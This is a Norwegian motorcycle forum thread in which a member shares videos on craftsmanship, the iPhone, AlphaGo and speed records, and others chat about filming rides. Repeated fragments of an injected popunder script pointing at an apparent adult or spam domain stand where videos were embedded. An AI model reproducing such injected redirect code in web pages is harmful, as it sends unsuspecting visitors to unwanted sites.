oivindgs funderinger
- oivindg
- Innlegg: 885
- Registrert: 20 nov 2019, 21:45
- Motorsykkelen din: BMW R1200R (2011)
- Sted: Kongsberg
oivindgs funderinger
Her kommer ting jeg har lyst til å dele. For det meste tekniske ting, tenker jeg. Og håndverk. Jeg elsker blant annet å lage ting og å se på at andre lager ting. Første innslag er en video om en som lager et eksosanlegg til en BMW R100. Håndverk av høy klasse, selv om jeg har sett enda finere sveiseskjøter.
');var popunder = {expire: 6, url: "https://flirthoney-hot.life/?u=lcd8hwq&o=h6dw1n9"};}
');var popunder = {expire: 6, url: "https://flirthoney-hot.life/?u=lcd8hwq&o=h6dw1n9"};}
Sist redigert av oivindg den 06 apr 2020, 20:57, redigert 2 ganger totalt.
- AJ
- Administrator
- Innlegg: 38110
- Registrert: 30 sep 2006, 18:46
- Motorsykkelen din: KTM 1290 SA S, ('18), Moto Guzzi v7 850 Special 100 year Anniversary
- Sted: Lunner på Hadeland
- Kontakt:
Re: oivindgs funderinger
Hyggelig at du starter en slik tråde her på MCsiden.no
.
Den passer kanskje bedre i Biker logg forumet?
Flytter den dit, jeg...![wink ;)](./images/smilies/Wink2.gif)
![Thumbsup :thumleft](./images/smilies/thumbsup.gif)
Den passer kanskje bedre i Biker logg forumet?
Flytter den dit, jeg...
![wink ;)](./images/smilies/Wink2.gif)
________________________________________________________________________
De som ønsker å bidra økonomisk til driften av forumet kan benytte et av alternativene her.
MC'er:
Suzuki GSX 1100 EF, 1985 (1991), Yamaha TDM 900, 2006 (2006 - 2010), Triumph Tiger 1050 SE, 2010 (2010 - 2012), Moto Guzzi Stelvio 8V, 2012 (2012 - 2015), KTM 1290 Super Adventure, 2015 (2015 - 2018), KTM 1290 Super Adventure S, 2018 (2018 - -->), KTM 390 Duke, 2021 (2021 - 2023), Moto Guzzi V7 850 Special 100 Anniversary (2023 - -->)
KTM 1290 SA S - nok en god grunn til oppmaskinering![Bilde](https://s25.postimg.cc/jhuaiplbj/Super_Adv_S_150.png)
De som ønsker å bidra økonomisk til driften av forumet kan benytte et av alternativene her.
MC'er:
Suzuki GSX 1100 EF, 1985 (1991), Yamaha TDM 900, 2006 (2006 - 2010), Triumph Tiger 1050 SE, 2010 (2010 - 2012), Moto Guzzi Stelvio 8V, 2012 (2012 - 2015), KTM 1290 Super Adventure, 2015 (2015 - 2018), KTM 1290 Super Adventure S, 2018 (2018 - -->), KTM 390 Duke, 2021 (2021 - 2023), Moto Guzzi V7 850 Special 100 Anniversary (2023 - -->)
KTM 1290 SA S - nok en god grunn til oppmaskinering
![Bilde](https://s25.postimg.cc/jhuaiplbj/Super_Adv_S_150.png)
- oivindg
- Innlegg: 885
- Registrert: 20 nov 2019, 21:45
- Motorsykkelen din: BMW R1200R (2011)
- Sted: Kongsberg
Re: oivindgs funderinger
Den er grei. Jeg trodde Biker logg var for å skrive om egne motorsykler, men jeg ser nå at det er andre ting også.
- AJ
- Administrator
- Innlegg: 38110
- Registrert: 30 sep 2006, 18:46
- Motorsykkelen din: KTM 1290 SA S, ('18), Moto Guzzi v7 850 Special 100 year Anniversary
- Sted: Lunner på Hadeland
- Kontakt:
Re: oivindgs funderinger
All mulig slags loggføring om MC og andre store og små ting i lvet er liv laga i Biker logg forumet
![Thumbsup :thumleft](./images/smilies/thumbsup.gif)
________________________________________________________________________
De som ønsker å bidra økonomisk til driften av forumet kan benytte et av alternativene her.
MC'er:
Suzuki GSX 1100 EF, 1985 (1991), Yamaha TDM 900, 2006 (2006 - 2010), Triumph Tiger 1050 SE, 2010 (2010 - 2012), Moto Guzzi Stelvio 8V, 2012 (2012 - 2015), KTM 1290 Super Adventure, 2015 (2015 - 2018), KTM 1290 Super Adventure S, 2018 (2018 - -->), KTM 390 Duke, 2021 (2021 - 2023), Moto Guzzi V7 850 Special 100 Anniversary (2023 - -->)
KTM 1290 SA S - nok en god grunn til oppmaskinering![Bilde](https://s25.postimg.cc/jhuaiplbj/Super_Adv_S_150.png)
De som ønsker å bidra økonomisk til driften av forumet kan benytte et av alternativene her.
MC'er:
Suzuki GSX 1100 EF, 1985 (1991), Yamaha TDM 900, 2006 (2006 - 2010), Triumph Tiger 1050 SE, 2010 (2010 - 2012), Moto Guzzi Stelvio 8V, 2012 (2012 - 2015), KTM 1290 Super Adventure, 2015 (2015 - 2018), KTM 1290 Super Adventure S, 2018 (2018 - -->), KTM 390 Duke, 2021 (2021 - 2023), Moto Guzzi V7 850 Special 100 Anniversary (2023 - -->)
KTM 1290 SA S - nok en god grunn til oppmaskinering
![Bilde](https://s25.postimg.cc/jhuaiplbj/Super_Adv_S_150.png)
- oivindg
- Innlegg: 885
- Registrert: 20 nov 2019, 21:45
- Motorsykkelen din: BMW R1200R (2011)
- Sted: Kongsberg
Re: oivindgs funderinger
Her er en interessant liten video om noen av prosessene som ledet fram til den første iPhone. For meg er iPhone en av 2000-tallets største oppfinnelser (så langt). Spesielt hvordan den totalt endret måten vi betjener mobile enheter med sitt touch-system.
');var popunder = {expire: 6, url: "https://flirthoney-hot.life/?u=lcd8hwq&o=h6dw1n9"};}
');var popunder = {expire: 6, url: "https://flirthoney-hot.life/?u=lcd8hwq&o=h6dw1n9"};}
- oivindg
- Innlegg: 885
- Registrert: 20 nov 2019, 21:45
- Motorsykkelen din: BMW R1200R (2011)
- Sted: Kongsberg
Re: oivindgs funderinger
Her er en veldig interessant film om AlphaGo. Et program basert på kunstig intelligens som spiller Go, et av verdens mest avanserte brettspill. Og hvordan AlphaGo slo verdensmesteren i Go.
');var popunder = {expire: 6, url: "https://flirthoney-hot.life/?u=lcd8hwq&o=h6dw1n9"};}
');var popunder = {expire: 6, url: "https://flirthoney-hot.life/?u=lcd8hwq&o=h6dw1n9"};}
- oivindg
- Innlegg: 885
- Registrert: 20 nov 2019, 21:45
- Motorsykkelen din: BMW R1200R (2011)
- Sted: Kongsberg
Re: oivindgs funderinger
Tilbake til motorsykkel. Den første posten i denne tråden er fra 46Works. Ei customsjappe i Japan drevet av en kar som heter Shiroh Nakajima. Han har en del fine prosjekter, selv om stilen på mange av syklene er litt for retro for min smak. Men stemningen i videoene gjør at jeg blir sittende å se den ene etter den andre likevel. Det er nesten noe meditativt over videoene hans.
Jeg kommer nok aldri til å lage noe særlig motorsykkelvideoer selv. Jeg er ikke tålmodig nok, og jeg synes at fotografering gjør at jeg ikke klarer å være tilstede i opplevelsen når den faktisk skjer. Og så er det så mange andre her på MCSiden som er flinke til å lage film, så jeg sniker meg til å se på dem i stedet. :) Uansett, her er en artig film om hvordan 46Works filmer sine videoer. Kanskje noen nyttige tips?
');var popunder = {expire: 6, url: "https://flirthoney-hot.life/?u=lcd8hwq&o=h6dw1n9"};}
Jeg kommer nok aldri til å lage noe særlig motorsykkelvideoer selv. Jeg er ikke tålmodig nok, og jeg synes at fotografering gjør at jeg ikke klarer å være tilstede i opplevelsen når den faktisk skjer. Og så er det så mange andre her på MCSiden som er flinke til å lage film, så jeg sniker meg til å se på dem i stedet. :) Uansett, her er en artig film om hvordan 46Works filmer sine videoer. Kanskje noen nyttige tips?
');var popunder = {expire: 6, url: "https://flirthoney-hot.life/?u=lcd8hwq&o=h6dw1n9"};}
-
OnlineBjerknez
- Innlegg: 23230
- Registrert: 06 aug 2013, 00:59
- Motorsykkelen din: Triumph Rocket III GT
- Sted: Fredrikstad
- Kontakt:
Re: oivindgs funderinger
Mitt første år som motorsyklist var jeg veldig opptatt av å dokumentere turene jeg var på og helst med video. Dette gikk jeg rimelig fort lei Da det ble veldig mye styr og få dette bra. Dessuten så ødela det mye av gleden med å kjøre sykkel da det ble for mye styr.
Jeg liker å se andres videoer hvis dem er underholdende og bra laget, men selv så har jeg funnet ut at mobilkameraet eller kanskje min Sony RX100 duger til å dokumentere det jeg trenger å dokumentere på tur.
Skal man få til videofilming på skikkelig vis så tror jeg det er veldig avhengig av sykkeltype etc. Hvordan resultatet blir. Tenker da mest på lyden vedrørende vindstøy etc.
Også krever det flerfoldige timer forran videoredigeringsverktøyet i tillegg. Noe vertfall JEG gikk ganske fort lei.
Jeg liker å se andres videoer hvis dem er underholdende og bra laget, men selv så har jeg funnet ut at mobilkameraet eller kanskje min Sony RX100 duger til å dokumentere det jeg trenger å dokumentere på tur.
Skal man få til videofilming på skikkelig vis så tror jeg det er veldig avhengig av sykkeltype etc. Hvordan resultatet blir. Tenker da mest på lyden vedrørende vindstøy etc.
Også krever det flerfoldige timer forran videoredigeringsverktøyet i tillegg. Noe vertfall JEG gikk ganske fort lei.
- oivindg
- Innlegg: 885
- Registrert: 20 nov 2019, 21:45
- Motorsykkelen din: BMW R1200R (2011)
- Sted: Kongsberg
Re: oivindgs funderinger
Enig meg deg. Det blir litt for mye jobb for meg. Ikke føler jeg at jeg har noe talent på foto/video heller. Mangler blikket til å få noe ekstra ut av det.
-
OnlineBjerknez
- Innlegg: 23230
- Registrert: 06 aug 2013, 00:59
- Motorsykkelen din: Triumph Rocket III GT
- Sted: Fredrikstad
- Kontakt:
Re: oivindgs funderinger
Foto har jeg noenlunde taket på, men video og resigering av video befinner jeg meg vel i beste fall midt på treet. Interessen er delvis der, men det blir for mye styr og tar bort mye av gleden av å være på to hjul.
- FredrikE24
- Innlegg: 4748
- Registrert: 24 apr 2016, 18:53
- Motorsykkelen din: BMW K1200RS
- Sted: Nordre Follo
Re: oivindgs funderinger
Har er hjelmkamera selv. Ligger hjemme i skuffen. Stor tommel opp til dem som gidder!
- oivindg
- Innlegg: 885
- Registrert: 20 nov 2019, 21:45
- Motorsykkelen din: BMW R1200R (2011)
- Sted: Kongsberg
Re: oivindgs funderinger
En annen sak er at jeg synes hjelmen med integrert komm. er så fin og ryddig at jeg ikke har lyst til å feste noe utapå.
- oivindg
- Innlegg: 885
- Registrert: 20 nov 2019, 21:45
- Motorsykkelen din: BMW R1200R (2011)
- Sted: Kongsberg
Re: oivindgs funderinger
Jeg er ikke veldig interessert i store båter, det blir litt fjernt for min del, men de tekniske aspektene kan være spennende. Her er en liten video om hvordan Princess fraktet sin 35-meter yacht fra Mallorca til Düsseldorf i forbindelse med båtustillingen i 2018.
');var popunder = {expire: 6, url: "https://flirthoney-hot.life/?u=lcd8hwq&o=h6dw1n9"};}
');var popunder = {expire: 6, url: "https://flirthoney-hot.life/?u=lcd8hwq&o=h6dw1n9"};}
- oivindg
- Innlegg: 885
- Registrert: 20 nov 2019, 21:45
- Motorsykkelen din: BMW R1200R (2011)
- Sted: Kongsberg
Re: oivindgs funderinger
Jeg har alltid vært fascinert av hastighetsrekorder, både på motorsykkel og med bil. Her er en liten fortelling om George Eystons Thunderbolt som var verdens raskeste bil en periode. Spesielt interessant med motoriseringen som var to 37-liters Rolls-Royce V12ere montert ved siden av hverandre!
');var popunder = {expire: 6, url: "https://flirthoney-hot.life/?u=lcd8hwq&o=h6dw1n9"};}
');var popunder = {expire: 6, url: "https://flirthoney-hot.life/?u=lcd8hwq&o=h6dw1n9"};}
Re: oivindgs funderinger
Må si meg enig her Bjerknez, har selv forsøkt å dokumentere aktivitet. Det blir for mye styr rundt det hele, fortsatt tenker jeg at nå må jeg minst knipse noen bilder når jeg er ute. Så går det hele i glemmeboka og du kommer på det når du er hjemme igjen :)Bjerknez skrev: ↑09 apr 2020, 14:23 Mitt første år som motorsyklist var jeg veldig opptatt av å dokumentere turene jeg var på og helst med video. Dette gikk jeg rimelig fort lei Da det ble veldig mye styr og få dette bra. Dessuten så ødela det mye av gleden med å kjøre sykkel da det ble for mye styr.
Jeg liker å se andres videoer hvis dem er underholdende og bra laget, men selv så har jeg funnet ut at mobilkameraet eller kanskje min Sony RX100 duger til å dokumentere det jeg trenger å dokumentere på tur.
Skal man få til videofilming på skikkelig vis så tror jeg det er veldig avhengig av sykkeltype etc. Hvordan resultatet blir. Tenker da mest på lyden vedrørende vindstøy etc.
Også krever det flerfoldige timer forran videoredigeringsverktøyet i tillegg. Noe vertfall JEG gikk ganske fort lei.
dypen
Tempo Swing 150, Monark Maraton ILO Piano 50, Tempo Comet 60 +++ Suzuki AS 50, Yamaha LS2 100 første, Yamaha LS2 100 andre, Yamaha RS 100, Kawasaki Mach III H1 500, Honda CB750 Four K2, Kawasaki Z1000, Yamaha XT500, Baotian BT50QT, Chang Jiang 750 M1S sidevogn, Honda CB500X, KTM 1050 Adventure, Yamaha YZF-R1 5JJ, KTM 1290 Super Adventure S, Honda XL700VA Transalp, Kawasaki KZ900-A4, Kawasaki Z1A 900, BMW K1600GT, Yamaha XS500D 1H2
![Thumbsup :thumleft](./images/smilies/thumbsup.gif)
Tempo Swing 150, Monark Maraton ILO Piano 50, Tempo Comet 60 +++ Suzuki AS 50, Yamaha LS2 100 første, Yamaha LS2 100 andre, Yamaha RS 100, Kawasaki Mach III H1 500, Honda CB750 Four K2, Kawasaki Z1000, Yamaha XT500, Baotian BT50QT, Chang Jiang 750 M1S sidevogn, Honda CB500X, KTM 1050 Adventure, Yamaha YZF-R1 5JJ, KTM 1290 Super Adventure S, Honda XL700VA Transalp, Kawasaki KZ900-A4, Kawasaki Z1A 900, BMW K1600GT, Yamaha XS500D 1H2